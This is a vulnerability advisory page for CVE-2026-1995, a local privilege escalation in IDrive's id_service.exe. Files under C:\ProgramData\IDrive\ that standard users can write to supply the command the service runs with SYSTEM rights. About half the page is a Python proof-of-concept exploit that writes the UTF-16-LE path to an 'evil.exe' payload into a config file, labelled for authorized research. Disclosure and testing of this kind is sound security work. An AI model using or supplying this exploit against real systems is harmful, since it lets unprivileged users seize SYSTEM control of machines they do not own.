CVE-2026-1995

Published: 2026-03-24 19:16:49
Last Modified: 2026-03-25 15:41:58

Description

IDrive’s id_service.exe process runs with elevated privileges and regularly reads from several files under the C:\ProgramData\IDrive\ directory. The UTF16-LE encoded contents of these files are used as arguments for starting a process, but they can be edited by any standard user logged into the system. An attacker can overwrite or edit the files to specify a path to an arbitrary executable, which will then be executed by the id_service.exe process with SYSTEM privileges.

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import os import struct # Path to the vulnerable file in IDrive directory # Note: The specific filename depends on the version/config target_file = r"C:\ProgramData\IDrive\config_file.dat" evil_payload = r"C:\temp\evil.exe" # The content must be UTF16-LE encoded # Encode the malicious path content = evil_payload.encode('utf-16-le') # Write the payload to the file # Standard users usually have write access to ProgramData subfolders try: with open(target_file, 'wb') as f: f.write(content) print(f"[+] Successfully wrote payload to {target_file}") print("[*] Wait for id_service.exe to restart or trigger the read cycle.") except PermissionError: print("[-] Permission denied. Check user write permissions.") except FileNotFoundError: print("[-] Target file not found. IDrive might not be installed or path is different.")
